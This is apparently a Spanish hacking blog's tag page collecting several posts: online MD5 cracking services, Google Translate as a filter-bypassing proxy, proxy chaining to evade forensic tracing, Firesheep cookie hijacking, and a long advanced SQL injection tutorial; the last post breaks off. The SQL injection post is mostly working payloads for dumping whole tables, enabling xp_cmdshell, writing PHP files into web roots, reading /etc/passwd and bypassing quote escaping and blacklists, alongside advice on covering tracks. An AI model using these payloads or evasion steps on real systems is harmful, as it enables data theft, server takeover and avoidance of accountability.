Mostrando entradas con la etiqueta Hacking Web. Mostrar todas las entradas
Mostrando entradas con la etiqueta Hacking Web. Mostrar todas las entradas
Cómo descifrar un hash MD5 online
Aloe Vera
Este fin de semana me encontré con la necesidad de descifrar un password hasheado con md5. Para ello estuve a punto de utilizar el viejo y querido John the Ripper, pero un segundo antes se me ocurrió buscar alguna herramienta online que haga el trabajo por mí. Motivado por la vagancia, pero también para hacerlo más rápidamente (aprovechando la nube o rainbow tables), encontré buscando en Google este muy buen artículo: How to crack MD5 passwords online, el cual contiene una lista de servicios para reconstruir texto digerido mediante md5.
La mayoría de estos sitios utilizan rainbow tables (grandes tablas de hashes precomputados) con el objetivo de intercambiar tiempo de ejecución por memoria. De esta forma el resultado logrado es muy rápido (si es exitoso). Aunque también algunos utilizan diccionarios.

A continuación dejo la lista de servicios que realizan esta tarea. Les recomiendo que lean el artículo original, ya que el autor incluye una valuación de los mismos (calculada como la cantidad de hashes encontrados de un conjunto de 10):
www.tmto.org
md5.noisette.ch
md5decryption.com
www.c0llision.net
www.netmd5crack.com
www.md5decrypter.com
md5hashcracker.appspot.com
www.hashhack.com
isc.sans.edu
www.md5crack.com
passcracking.com
authsecu.com
md5.rednoize.com
md5.web-max.ca
www.cmd5.com
md5.thekaine.de
www.shell-storm.org
www.md5this.com
www.hashchecker.com
hashcrack.com
md5pass.com
md5pass.info

Cabe destacar que algunos de estos sitios incluyen una herramienta para generar hashes md5. No es recomendable utilizarlas para calcular hashes de nuestras contraseñas, ya que no sabemos si guardan los hashes que calculamos en sus bases de datos, lo cual las vuelve 100% crackeables ;)

Para lograr mi objetivo, tomé el primer servicio de la lista y obtuve el texto hasheado (admin1234) en 3.55 segundos. Lo que más me molestó fue que había probado sin éxito varias contraseñas, entre las que se encontraban 'admin', '1234' y 'admin123' pero no 'admin1234'!



Para finalizar, dejo un excelente artículo que explica cómo utilizar Google como password cracker (a esta altura creo que a Google le descubren más propiedades que al Aloe Vera). La justificación de esta técnica es que a veces los programadores incluyen hashes md5 en la URL (para ver la explicación detallada les recomiendo lean el artículo), lo que transforma a las bases de datos de Google en rainbow tables.


No me deja de sorprender la cantidad de tareas útiles que se pueden realizar utilizando Google, la mayoría de las cuales con propósitos o fines no pensados en un simple buscador. Es aquí donde uno toma conocimiento del verdadero poder y valor de la información.

Espero que les sirva!
Usando Google como Web proxy

Hoy estaba leyendo este interesante artículo que trata la ciberguerra que se ha desatado entre los defensores y detractores de Wikileaks (yo soy un defensor de Wikileaks), y por esas cosas de Internet terminé en cualquier otra cosa.
Estaba husmeando los posts en twitter del nefasto th3j35t3r, un payaso que se dedica a provocar ataques DDoS contra diferentes sitios, la mayoría musulmanes, y que además se encargó de efectuar estos ataques contra Wikileaks ("for attempting to endager the lives of our troops, 'other assets' & foreign relatios").

La cuestion es que se me ocurrió visitar uno de estos sitios musulmanes """terroristas""" por
simple curiosidad, y me encotré con estos chirimbolos indescifrables del idioma árabe. Entonces decidí utilizar Google translate para pasar la página al idioma inglés y entender algo.
El sitio en sí era bastante aburrido, pero lo interesante fue que al ver la URL en la barra de direcciones de Firefox, se me ocurrió utilzar a Google como Web proxy (para aquellos que no sepan que es un proxy, pueden buscar en Wikipedia y leer mi artículo anterior).

Además de ocultar nuestro trasero, un proxy nos permite acceder a sitios no permitidos por la política de nuestro dominio (en mi caso, un proxy que filtra, entre otros sitios, facebook, twitter, etc).
Esto nos muestra una vez más cómo se puede abusar de un servicio tan inofensivo como Google translate.

Veamos cómo funciona paso a paso:

Primero veamos con qué IP salimos a Internet visitando el sitio ip-adress.com:



Se observa que salimos con una dirección 200.x.x.x perteneciente a nuestra organización. Ahora ingresamos a Google translate y colocamos la URL en el cuadro de traducción:



Google translate nos muestra la misma página pero dentro de un frame. Observamos que la dirección es ahora 74.125.114.80 que corresponde con un servidor de Google:



Para finalizar, probamos ingresar a un sitio no permitido, como es linkedin en mi caso:



La página no se ve correctamente, pero al menos se puede acceder ;)

De esta forma logramos utilizar a Google como Web proxy.

Espero que lo disfruten!
Proxy chaining... or how to hide your ass
A veces es necesario no dejar rastros cuando accedemos a sistemas de terceros. Sea cual sea el motivo (supongamos que es por razones nobles) y si es un sistema sensible, queremos asegurarnos de quedar lo más ocultos posibles y no dejar huellas como direcciones IP, footprints de encabezados HTTP, etc.

Para esto siempre es conveniente utilizar un servidor proxy como un intermediario que accede al servidor objetivo por nosotros y luego nos devuelve los resultados. De esta forma, si el servidor objetivo loguea nuestra actividad en el sistema, quien quedará "escrachado" en los logs será el proxy en lugar de nosotros. Así quedamos cubiertos en caso de un eventual análisis forense en el servidor objetivo.

Pero... Puede suceder que el análisis forense consulte al proxy y éste entregue información sobre nuestros accesos, lo que nos pondría en evidencia. Esta situación nos obliga a ocultar aún más nuestro rastro utilizando un proxy en el proxy. Es decir un intermediario del intermediario, para crear una cadena lo suficientemente larga que nos oculte más.

Esta técnica que consiste en conectarse a más de un proxy se denomina "proxy chaining". Cuanto mayor sea la cadena más ocultos estaremos, aunque cabe aclarar que no importa cuantos proxies agreguemos a la cadena, nunca seremos 100% anónimos.

De todas formas hay que ocultar nuestro trasero lo más que se pueda...


Proxy chaining

El proceso es bastante simple, primero ingresaremos en algún sitio como whatismyip.com para detectar con qué dirección IP salimos a Internet:


Se observa que nuestra dirección IP es 200.x.x.x. Este sitio además nos informa que estamos saliendo a Internet a través de un proxy.

Luego buscamos en Google una lista de servidores proxy abiertos (sin usuario ni password) y gratuitos:


El sitio Proxy 4 Free es uno de los primeros que aparece en la búsqueda. Es conveniente ordenar los servidores por Rating o Uptime:


Para nuestro ejemplo, el primero que elegí, al azar, fue online proxi:


Ahora, utilizando el cuadro de URL del proxy (no el de nuestro browser) accedemos a whatismyip para ver desde qué dirección IP se hace el pedido HTTP:


Se observa que ahora la dirección IP que hace el pedido HTTP es 173.224.217.162. Hasta ahora estamos ocultos detrás de un sólo proxy. Para comenzar la cadena, vamos a ingresar la dirección del siguiente proxy en el cuadro de URL del primer proxy. Como segundo proxy utilicé openet.info:


Ingresamos a whatismyip desde el cuadro de URL de openet.info y observamos que ahora la dirección IP que hace el pedido HTTP es 94.75.216.169:


Como se observa en la captura anterior, ahora tenemos dos cabeceras de proxy. La primera, de color amarillo, corresponde al proxy online proxi; la segunda, de color gris, corresponde a openet.info.
Siguiendo con el proceso de chaining agregamos otro servidor proxy a la cadena. Esta vez se trata de Safety Proxy:


Ingresamos a whatismyip nuevamente y se observa la dirección 67.159.44.24:


Ahora se observa una cabecera adicional, la cual aparece arriba de las dos anteriores. En el campo de URL de esta cabecera es donde debemos realizar nuestros pedidos HTTP.
Cabe aclarar que cuanto mayor sea la cantidad de servidores proxy que agregamos a la cadena, más lenta se torna la navegación ya que todos los pedidos y respuestas deben atravesar toda la cadena.

El siguiente gráfico muestra la cadena de servidores proxy que atraviesan nuestros pedidos hasta llegar al servidor objetivo:


Que lo disfruten!
Nueva extensión para Firefox: Firesheep

La llegada de Firesheep (una extensión de Firefox que automatiza algo que se podía hacer manualmente utilizando Wireshark desde hace años) revolucionó el mundo. Firesheep permite capturar cookies de otras personas esnifeando redes inseguras para luego loguearse en sus cuentas Web. Por ejemplo, me conecto a una red insegura (como una red inalámbrica abierta), luego "pepito" (que se encuentra conectado a la misma red) se loguea en facebook, utilizando Firesheep obtengo la cookie de "pepito" en facebook y a continuación entro a la cuenta de "pepito" en facebook. Así de simple.

El éxito de esta herramienta radica en que basta hacer un par de clics para robar una cuenta Web, algo al alcance de cualquiera, a diferencia de: abrir Wireshark; capturar tráfico de la red insegura; filtrar la captura; copiar el contenido de una cookie; insertar la cookie en el navegador; y finalmente ingresar al sitio.

Debido a esto, creo, va a provocar un caos en las redes inalámbricas abiertas ya que ahora cualquier afiliado al PAMI te hace un session hijacking con 2 clics, que bien :). Aunque por el momento sólo está disponible para Windows y Mac OS, que mal :(

Cabe destacar que esto no es sólo una vulnerabilidad de las redes inalámbricas abiertas, sino que aplica también para las redes cableadas no switcheadas (y switcheadas también, haciendo un previo ataque ARP poisoning).

Pueden ver un video sobre esta herramienta en acción aquí.

Lo más interesante de esta clase de vulnerabilidad es que pone en tela de juicio la seguridad de la llamada """Web 2.0""" y el nivel de adopción de SSL. Un estudio realizado por Digital Society clasificó el nivel de seguridad de los sitios más importantes como Facebook, Google, Twitter, Hotmail, etc. Les recomiendo leer este excelente artículo: Online services security report card. Como siempre, Google a la vanguardia:



Espero que sirva para concientizar, y la próxima vez que se conecten a una red inalámbrica abierta no envíen credenciales sin utilizar HTTPS!

Saludos!
SQL Injection avanzado: consultas simplificadas, file inclusion, ejecución remota y más!
Continuando con la serie de artículos sobre SQLi esta vez les traigo técnicas avanzadas para lograr ataques de forma simplificada. En este artículo aprenderán a realizar los mismos ataques que antes pero en menos pasos, obteniendo los datos de tablas enteras en una sola consulta! Además de esto, me meto con ataques más serios como la inclusión de archivos locales y remotos, y ejecución de código. Por último mostraré un par de técnicas para atacar incluso cuando no podemos usar comillas o ciertas sentencias SQL.
Al igual que el artículo anterior, indicaré como realizar cada ataque en MySQL y SQL Server. Los ejemplos estarán basados en el código que publiqué en ese artículo.

Para el que se los haya perdido, los artículos anteriores fueron:
- Inyeccion mortal: SQL Injection
- El arte de la inyección blind (MySQL)
- SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs


Concatenemos columnas

Como vimos en el artículo anterior, usar uniones es muchísimo más rápido que ir tomando letra por letra y comparando con valores ascii para obtener cada caracter... pero esto todavía se puede optimizar más.
Una mejora que podemos hacer a las consultas anteriores, es utilizar concatenación. Dado que en muchos casos contamos con pocos campos para obtener información (en el ejemplo contamos con 2), si en una consulta deseamos obtener más datos de cada fila de la tabla, debemos hacer varias consultas por cada fila. En lugar de esto, podemos concatenar las diferentes columnas que deseamos en un solo string y de esta forma, obtenemos todas las columnas en una sola consulta.
La mayoría de los DBMS cuentan con concatenación. MySQL cuenta con las funciones CONCAT y CONCAT_WS. CONCAT concatena todas las variables pasadas por parámetro, mientras que CONCAT_WS permite concatenar los parámetros separándolos con un separador especificado por el usuario (el WS es por "With Separator"), el cual se indica en el primer parámetro de la función. Por su parte, en SQL Server se pueden concatenar variables utilizando el caracter + (algo común entre lenguajes de programación).

Supongamos que en el ejemplo anterior además del usuario y el password, queremos el e-mail y el nombre. En MySQL podemos obtener todo esto junto en la siguiente consulta:
SELECT CONCAT_WS(' : ', name, email, username, password) FROM t_user
que traducimos a:
?id=-1' union all select '1',CONCAT_WS(':',name, email, username, pass),'1' from t_user limit 0,1 -- 1
Por su parte, en SQL Server hacemos lo mismo con lo siguiente:
SELECT user + ':' + email + ':' + username + ':' + pass FROM t_user
que en la inyección queda:
?id=-1' union all select '1',user%2b':'%2bemail%2b':'%2busername%2b':'%2bpass,'3' from (select *,ROW_NUMBER() over (order by username) as row from t_user ) as temp where row>0 and row<=1 --
Como pueden observar, convertí el caracter + a su codificación URL. De no hacer esto, el browser interpreta el + como un espacio " ", y envía la consulta convertida a un espacio en el server, ocasionando que de error.
El caracter que utilicé para concatenar las consultas es el dos puntos ":".
De esta forma, si bien todavía hay que realizar una consulta por cada fila, no necesitamos hacer varias consultas para obtener los campos de una sola fila, reduciendo bastante el trabajo.


Para qué hacer tantas consultas, si tenemos "GROUP_CONCAT" y "FOR XML"

En la sección anterior vimos como concatenando columnas podemos ahorrar bastante tiempo para obtener cada registro, pero también podemos concatenar todos los registros y columnas en un solo registro! Esto quiere decir que en lugar de obtener cada registro de a uno por vez, podemos obtener toda una tabla en una sola consulta... es mágico!!!
Con la introducción anterior, como mínimo espero que estén intrigados de cómo hacerlo, porque esto ahorra horas de trabajo. Existen distintas técnicas para MySQL y SQL Server, porque no es una consulta genérica SQL. Vamos entonces por partes.
En MySQL existe una función llamada GROUP_CONCAT que retorna un string conteniendo los valores de un grupo concatenados. El grupo a concatenar pueden ser los registros que nos interesan. Si queremos entonces obtener todos los registros de la tabla t_user, podemos hacer una consulta como la siguiente:
SELECT GROUP_CONCAT(username,':',pass,':',email,':',name) FROM t_user
y si lo traducimos a la inyección:
?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name),'3' from t_user -- 1
Como pueden observar, agregué el caracter ':' para poder separar una columna de otra. Las filas concatenadas estarán separadas por una coma, pero si deseamos utilizar otro caracter, podemos aprovechar la clausula SEPARATOR de la siguiente forma:
?id=-1' union all select '1',group_concat(username,':',pass,':',email,':',name separator '/'),'3' from t_user -- 1
Pasemos a SQL Server. En este DBMS no contamos con una función como en MySQL, pero de SQL Server 2000 en adelante existe la cláusula FOR XML, la cual permite retornar todos los campos de una consulta en un solo registro XML!!!
La cláusula FOR XML se utiliza al final del SELECT de la siguiente forma:
SELECT * FROM t_user FOR XML RAW,BINARY BASE64
El último argumento (RAW en el ejemplo) permite especificar el formato de salida. Los 4 posibles son RAW, AUTO, EXPLICIT y PATH, del cual solo resulta interesante RAW que devuelve el XML con toda la estructura de la tabla. Se puede modificar la salida RAW aplicando opciones, siendo la más interesante BINARY BASE64, la cual nos sirve para codificar datos binarios en base64.

Para nuestra inyección, lo podemos traducir de la siguiente forma:
?id=-1' union all select '1',cast((select * from t_user for xml raw,binary base64) as text),'3
Como verán, utilicé un CAST para indicar que los datos devueltos son de tipo text. Esto lo necesité en el caso de ejemplo porque SQL Server no transmite datos Unicode a la librería mssql de PHP. Al intentar hacerlo devolvía el siguiente error:
Unicode data in a Unicode-only collation or ntext data cannot be sent to clients using DB-Library (such as ISQL) or ODBC version 3.7 or earlier.
Tal vez en otros casos no sea necesario el CAST, pero igual no está de más.

Como pueden observar, con esta consulta obtienen todos los registros de la tabla en una sola consulta, y sin necesidad de conocer el nombre de los campos de la tabla, sólo necesitan el nombre de la tabla. Esta es una optimización enorme al proceso que estábamos realizando antes. La técnica la tome del paper SFX-SQLi - SELECT FOR XML SQL INJECTION.
Algo a tener en cuenta es que si hacen la inyección a través del browser, posiblemente no vean nada, porque el browser interpreta los tags XML y no los muestra. Pero los datos están ahí, simplemente vean el código de la página y los encontrarán =)


Ejecución de comandos en SQL Server

En la siguiente sección necesitaré ejecutar comandos desde la base de datos, así que introduzcamos este tipo de ataques.
"Gracias" a la integración entre SQL Server y Windows, es posible ejecutar programas del sistema operativo desde el DBMS, algo bastante loco, pero que es parte de la "funcionalidad extendida" de lenguajes como TSQL. Esto es bastante malo para la seguridad y muy bueno para los atacantes. El método más comúnmente utilizado para la ejecución de comandos es el stored procedure xp_cmdshell, el cual toma como parámetro el comando a ejecutar y retorna una tabla con tantas filas como líneas retorne el resultado.
Por seguridad, a partir de SQL Server 2005, xp_cmdshell viene desactivado y no se puede utilizar a menos que lo activemos. Si el sistema atacado no fue configurado para poder utilizar xp_cmdshell, primero habrá que activarlo. Para activarlo es necesario ser administradores (ej el usuario 'sa'), es decir, la aplicación que estamos inyectando debería estar utilizando un usuario de base de datos con permisos de administrador... aunque parezca raro, esto suele ser bastante común.
Si debemos activar xp_cmdshell, hay que ejecutar las siguientes sentencias:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
que inyectado sería:
?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'xp_cmdshell',1; reconfigure; --
Una vez que contamos con xp_cmdshell podemos ejecutar cualquier comando que se les ocurra, como por ejemplo, listar el contenido de un dado directorio:
EXEC xp_cmdshell 'dir c:\';
El problema es cómo ver el resultado retornado por las consultas. Para hacerlo podemos utilizar tablas temporales que luego borramos para no dejar rastros. La mayoría de los usuarios de base de datos tienen permiso para crear tablas en su propia base de datos, así que esto no es problema. Lo que haremos entonces es crear una tabla con un solo campo, meteremos el resultado de la consulta en ella, y luego leeremos el campo con otra consulta. Una vez que leímos el resultado, borramos la tabla. Todo esto es:
CREATE TABLE temp( line VARCHAR(8000) );
INSERT INTO temp exec xp_cmdshell 'dir c:\';
SELECT line from temp FOR XML RAW,BINARY BASE64;
DROP TABLE temp;
Para nuestra inyección, todo esto se traduciría a lo siguiente:
?id=-1'; create table temp (line varchar(8000)); insert into temp exec xp_cmdshell 'dir c:\'; -- creamos la tabla y asignamos el resultado de ejecutar un dir
?id=-1' union allselect '1',cast((select line from temp FOR XML RAW,BINARY BASE64) as text),'3
?id=-1'; drop table temp --
Como la salida es en múltiples registros, utilicé for xml como expliqué anteriormente.

El peor de los males no es ejecutar comandos de consultas, sino ejecutar cualquier comando. De la misma forma podría crear un programa que realice una conexión remota desde el servidor de base de datos a la máquina del atacante y habilitarle un shell. Esto es bastante más complejo de hacer, pero existen herramientas que lo simplifican como metasploit. Esta explicación quedará para otro artículo =)


Bajar los datos a archivos

Si no queremos o podemos utilizar funciones como GROUP_CONCAT o FOR XML, y queremos obtener todos los datos de una tabla en una consulta, podemos hacerlo utilizando archivos.
Como lo que queremos es obtener los datos, para que la sentencia anterior nos sirva, debemos escribir un archivo que sea legible por el servidor web y de esta forma podremos levantar el resultado desde el browser. Esto no es tan simple, porque se tienen que dar varias condiciones para que esto sea posible:

- El usuario del sistema operativo con el que se ejecuta el servidor MySQL o SQL Server debe tener permiso de escritura en el directorio del servidor web. En GNU/Linux el usuario de MySQL suele llamarse mysql y por defecto NO tiene permiso de escritura en directorios web. Igualmente hay muchos administradores que configuran mal los permisos en sus directorios, así que no sería raro encontrar alguno donde se pueda escribir.
En Windows la cosa puede cambiar, porque es muy probable que el servicio MySQL o SQL Server se ejecute con permisos de Administrador... es decir, desde el DBMS se puede escribir en cualquier directorio!

- Necesitamos conocer el path absoluto del directorio web. Para poder acceder el archivo, necesitamos saber en qué directorio crearlo. Esto no suele ser tan difícil porque en general se utilizan directorios default. En GNU/Linux puede ser /var/www/ o /var/www/<nombre del site> o /home/<usuario>/public_html. En Windows, dependiendo del servidor, puede estar en c:\wamp\www o c:\inetpub\wwwroot.

En MySQL contamos con SELECT ... INTO OUTFILE o SELECT ... INTO DUMPFILE. El primero permite enviar el resultado de la consulta a un archivo en el servidor, con las columnas separadas por tabs y las filas con enters. El segundo también permite enviar el resultado a un archivo en el servidor, pero sin formatear la salida, es decir, todas las columnas y filas se concatenan una al lado de la otra.
Para cualquier actividad con archivos desde MySQL se requiere que el usuario de base de datos que ejecuta la consulta tenga el permiso global FILE. Este permiso permite al usuario leer y escribir archivos en el servidor.

Bien, suponiendo que contamos con todas las condiciones anteriores, veamos entonces como realizar la inyección. Tomando como base el ejemplo de nuestra página inyectable, lo que queremos hacer es armar una consulta que nos devuelva todos los registros y todas las columnas en una consulta:
SELECT * FROM t_user INTO OUTFILE '/var/www/inyeccion.txt'
Traducir esto a la inyección no es tan directo. Recuerden que por el formato de la consulta original, podemos obtener solo 3 columnas a la vez. Esto no es problema porque como vimos en la explicación anterior, podemos concatenar varias columnas en una sola usando la función CONCAT_WS. Para no agregar datos basura al archivo de texto, mostramos la concatenación de todas las columnas en una sola y para cubrir las otras dos necesarios insertamos el caracter null:
?id=-1' union all select CONCAT_WS(':',name, email, username, password),null,null from t_user into outfile '/var/www/inyeccion.txt
Ahora lo único que tienen que hacer es abrir la página desde el browser o usando nc, wget, etc, y apuntar al archivo inyeccion.txt. La dirección puede ser algo como http://www.superinseguro.com/inyeccion.txt

En SQL Server existen varias alternativas para crear archivos a partir de datos seleccionados, esto se debe a que permite ejecutar programas externos. El problema es que las alternativas requieren ejecutar programas externos, por lo cual necesitamos que el stored procedure xp_cmdshell esté habilitado.

Una vez que contamos con xp_cmdshell, podemos elegir entre las siguientes opciones:
- osql permite conectarse a la base de datos y ejecutar querys. MS la considera deprecated y prefieren el uso de sqlcmd.
- bcp bulk copy, permite realizar copia de datos de la base de datos a archivos. Es mucho más interesante que la anterior para nuestro objetivo.
El problema con las herramientas externas es que requieren las credenciales de la base de datos para conectarse y volcar los datos, por lo cual necesitamos conocer algun usuario... pero a no desesperar porque dependiendo del control que tengamos sobre la base de datos, podemos agregar un usuario, o bien, si se utiliza autenticación integrada, utilizar esta opción porque el DBMS confía en el usuario de Windows.
Eligiendo bcp como nuestra opción, el comando a ejecutar es el siguiente:
EXEC xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c '
que podemos traducir a:
?id=-1'; exec xp_cmdshell 'bcp testdb..t_user out C:\Inetpub\wwwroot\inyeccion.txt -Slocalhost -T -c ' --
Al igual que antes, apuntando al archivo desde el browser, podemos acceder a los datos.

Una opción que no requiere ejecución de un programa externo es el stored procedure sp_MakeWebTask que crea archivos HTML a partir del resultado de consultas a la base de datos. Por defecto, al igual que xp_cmdshell, viene desactivado. Para activarlo, debemos ejecutar una consulta similar a la que ejecutamos para activar xp_cmdshell:
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'Web Assistant Procedures', 1
RECONFIGURE
es decir:
?id=-1'; exec sp_configure 'show advanced options',1; reconfigure; exec sp_configure 'Web Assistant Procedures',1; reconfigure; --
Si contamos con sp_makewebtask podemos ejecutar el siguiente comando para exportar la tabla t_user a un archivo que podamos levantar con el browser:
EXEC sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user';
traducido a:
?id=-1'; exec sp_makewebtask @outputfile='c:\Inetpub\wwwroot\inyeccion.txt', @query='select * from testdb..t_user'; --

Remote File Injection

A partir de la explicación anterior, seguramente alguno ya esté pensando en un ataque todavía más grave. Qué sucede si en lugar de crear un archivo txt con datos de tablas, creamos un programa php, asp, etc? si, estaremos haciendo un upload, algo muy similar al remote file inclusion, al cual bauticé remote file injection (tal vez ya exista otro nombre para este ataque =P). En este punto las posibilidades son infinitas, si logramos incluir un programa básico, luego podremos hacer upload de cualquier cosa que deseemos y tomar control del servidor.
El ataque es igual al anterior, pero cambiando el select de tablas por un select de un string creado por nosotros. En MySQL esto significa ejecutar lo siguiente:
SELECT '<?php print("hackeado!"); ?>' INTO DUMPFILE hacking.php
que traducido a la inyección de nuestra página queda:
?id=-1' union all select '<?php print("hackeado!"); ?>',null,null into dumpfile '/var/www/hacking.php
De la misma forma, pueden inyectar el contenido que se les antoje. Tal vez tengan limitada la cantidad de caracteres a inyectar, pero como dije antes, un script simple permite hacer uploads de otros scripts, es cuestión de usar la imaginación =)

Para hacer la misma tarea en SQL Server, podemos utilizar bcp de la siguiente forma:
EXEC xp_cmdshell 'bcp "SELECT ''<?php print("hackeado!"); ?>''" queryout c:\Inetpub\wwwroot\hacking.php -T -c'
pero para qué complicarnos la vida usando bcp si podemos simplemente utilizar un echo de la siguiente forma:
EXEC xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php'
y simplemente traducido a:
?id=-1'; exec xp_cmdshell 'echo ^<?php print("hackeado!"); ?^> > c:\Inetpub\wwwroot\hacking.php' --
Si no tienen demasiada experiencia con la consola de Windows (como yo), les llamará la atención los ^, bueno, son para escapar los corchetes angulares (<>).


Local File Inclusion

Así como pudimos crear un archivo en el servidor (ya sea un script, un programa, etc), si tenemos los permisos indicados, también podremos cargar un archivo del servidor y mostrarlo. Hay muchos archivos que pueden resultar de interés, pero el ejemplo más claro en los *nix es el /etc/passwd

En MySQL contamos con la función LOAD_FILE() para incorporar un archivo y la podemos utilizar en un SELECT, lo que quiere decir que podemos hacer un dump de /etc/passwd en pantalla. Claro que para poder usar la función LOAD_FILE es necesario contar con el privilegio FILE de MySQL como les expliqué anteriormente.
La consulta que necesitamos hacer es la siguiente:
SELECT LOAD_FILE('/etc/passwd')
la cual, utilizando el ya conocido ejemplo, se traduciría a:
?id=-1' union all select '1',load_file('/etc/passwd'),'2
bastante simple no?

En SQL Server la cosa es un poco más complicada, pero igualmente posible. Para lograrlo, primero debemos importar el contenido del archivo que deseamos en una tabla, para luego seleccionar el contenido de la tabla. Si no queremos dejar rastro, habrá que eliminar la tabla una vez que la accedimos.
El operador que permite hacer esta tarea es BULK INSERT, y lo podemos utilizar de la siguiente forma:
CREATE TABLE temp( line VARCHAR(8000) );
BULK INSERT temp FROM 'c:\Inetpub\wwwroot\iisstart.asp' WITH (ROWTERMINATOR = '\0');
DROP TABLE temp;
Como dije previamente, primero creamos una tabla donde meter los datos, luego colocamos los datos del archivo c:\Inetpub\wwwroot\iisstart.asp usando BULK INSERT, indicando que el delimitador de filas es el caracter null. Con este delimitador de línea podremos leer todo el archivo en un solo registro, algo que nos servirá para luego accederlo desde la página. Finalmente borramos la tabla.
El código anterior lo podemos traducir a inyección de la siguiente forma:
?id=1'; create table temp (line varchar(8000)); bulk insert temp from 'c:\Inetpub\wwwroot\iisstart.asp' with (ROWTERMINATOR = '\0'); --
?id=-1' union all select '1',line,'3' from temp; --
?id=1'; drop table temp; --
Vale aclarar que para poder insertar un archivo en una tabla, el usuario de base de datos debe tener el permiso bulkadmin, y claro, debemos tener permiso e lectura en el archivo.

Pueden ver un ejemplo completo de cómo usar BULK INSERT en SQL SERVER – Import CSV File Into SQL Server Using Bulk Insert – Load Comma Delimited File Into SQL Server.


No puedo usar comillas... no importa!

En la mayoría de las inyecciones necesitaremos utilizar strings, y los strings van entre comillas, entonces, qué sucede si no podemos utilizar comillas?, ya sea porque estén escapeadas o por alguna razón del lenguaje subyacente, en algunos casos todavía es posible inyectar...
Un string se puede representar de varias formas, no solamente entre comillas. La forma más utilizada es obtener el caracter ascii de cada caracter para luego utilizar la función char y concatenarlos para obtener el string que deseamos. Tanto MySQL como SQL Server proveen la función char para cumplir este objetivo, aunque la concatenación se realiza de distintas formas. Por ejemplo, podemos representar el string test de la siguiente manera:
- CHAR(116, 101, 115, 116) //en MySQL
- CHAR(116)+CHAR(101)+CHAR(115)+CHAR(116) //en SQL Server
Entonces, si la consulta del código de ejemplo estuviera armada de forma que se espere un entero como id y se escapean comillas:
$query = SELECT * FROM content WHERE id=mysql_real_escape_string($_GET['id']);
mysql_query($query);
podríamos igualmente hacer inyecciones como la que me permite obtener el password del usuario demasiadovivo:
?id=-1 union all select null,pass,null from t_user where username=CHAR(100, 101, 109, 97, 115, 105, 97, 100, 111, 118, 105, 118, 111)
y en SQL Server a:
?id=-1 union all select null,pass,null from t_user where username= CHAR(100)+CHAR(101)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(105)+CHAR(97)+CHAR(100)+CHAR(111)+CHAR(118)+CHAR(105)+CHAR(118)+CHAR(111)
En MySQL contamos con otra alternativa para generar strings sin utilizar comillas, que es utilizar la representación en hexa. Por ejemplo, podemos obtener la representación en hexa del usuario demasiadovivo con la siguiente consulta:
SELECT CONCAT('0x',HEX('demasiadovivo'))
la cual luego podemos utilizar en la inyección de la siguiente forma:
?id=-1 union all select null,pass,null from t_user where username=0x64656D61736961646F7669766F

Escapar blacklists

Un recurso que he visto en algunos sites Web es el de las blacklist, es decir, parsear los parámetros en busca de inyecciones y si encontramos algo, o bien eliminarlo o abortar la consulta. Las blacklist son un recurso pésimo para asegurar una aplicación, por una parte porque son ineficientes y por otra porque no realizan un trabajo completo y son fáciles de bypassear.
Por más completa que esté una blacklist, es posible que olvidemos algo y eso es lo que el atacante espera. Además las blacklist se centran en buscar parámetros SQL como SELECT, UNION, INSERT, --, etc, así que imaginense que si en un campo de una página estaba permitido escribir "la union de los trabajadores", ahora no es posible porque dicha consulta está baneada.

Además de lo anterior, es posible bypassear este tipo de controles agregando comentarios. Por ejemplo, una consulta que contenga UNION ALL SELECT '1', será pezcada por nuestro mecanismo de seguridad de blacklists, pero nada impide al atacante escribir la consutla como UNION/**/ALL/**/SELECT/**/'1', una consulta válida para los DBMS y que bypassea mecanismos simples de blacklists


More, more, more!

Si bien cubrí prácticamente todos los ataques interesantes, el límite es su creatividad. Tal vez a ustedes se les ocurran mucho más para hacer y me encantaría que lo compartan.
Un ataque interesante con SQLi es el que mostré hace varios meses en Reflected XSS a través de SQL Injection.
Existe un cheat-sheet muy completo donde se resumen la mayoría de estos ataques y algunos más, incorporando algunos otros DBMSs como Oracle y PostgreSQL, vale la pena que le den una leída: SQL Injection Cheat Sheet.
SQL Injection en MySQL y SQL Server: robando datos con UNIONs y CASTs
Parece que arranqué al revés yendo de difícil a más fácil mostrando SQL Injection totalmente blind antes que inyecciones más simples. Es interesante ver las técnicas que se pueden utilizar al poder ver los mensajes de error que retorna un servidor mal configurado. Para el que se lo haya perdido, comencé la serie de artículos SQLi con el artículo Inyección Mortal: SQL Injection y luego continuó en el completo artículo El arte de la inyección blind (MySQL).

Cuando un servidor retorna mensajes de error de base de datos debido a consultas incorrectas, el trabajo del atacante es mucho más fácil porque puede orientarse fácilmente sobre cómo armar las consultas y obtener datos de forma más simple y rápida. Si bien las técnicas que mostré en el artículo sobre inyección blind obviamente funcionan para estos casos, es mejor utilizar técnicas más simples como las que mostraré a continuación, siempre que sea posible.

Una vez más, las diferencias entre ciertas consultas en los distintos DBMSs hacen que los ataques varíen entre un motor y otro, pero la base es la misma. Algunos DBMSs poseen facilidades que permiten al atacante realizar menor cantidad de consultas para obtener los mismos datos.

En el siguiente artículo les mostraré cómo obtener datos a través de inyecciones en páginas web, utilizando UNION y CAST. Me centraré en los ataques con UNION que son los más utilizados e independientes del DBMS. Cubriré tanto MySQL como SQL Server que son los dos motores más utilizados en internet.

En fin, comencemos a inyectar!


Código para jugar

Como de costumbre, las explicaciones son más simples teniendo ejemplos, así que utilicemos un código de muestra sobre el cual podemos inyectar. Para hacerlo simple (y porque soy perezoso), tomemos el mismo código que utilicé en el artículo de inyección blind. En esta ocación hablaré tanto de inyecciones sobre MySQL como SQL Server. Por suerte utilizar una base de datos u otra en php es tan simple como cambiar el nombre de las funciones a llamar, por lo cual dejo el código para utilizar MySQL, y al lado de cada función les pongo un comentario con la función a colocar en el caso de utilizar SQL Server. Es obvio que para utilizar SQL Server deberán tener un Windows... a menos que hayan logrado que ande en GNU/Linux =P
<HTML>
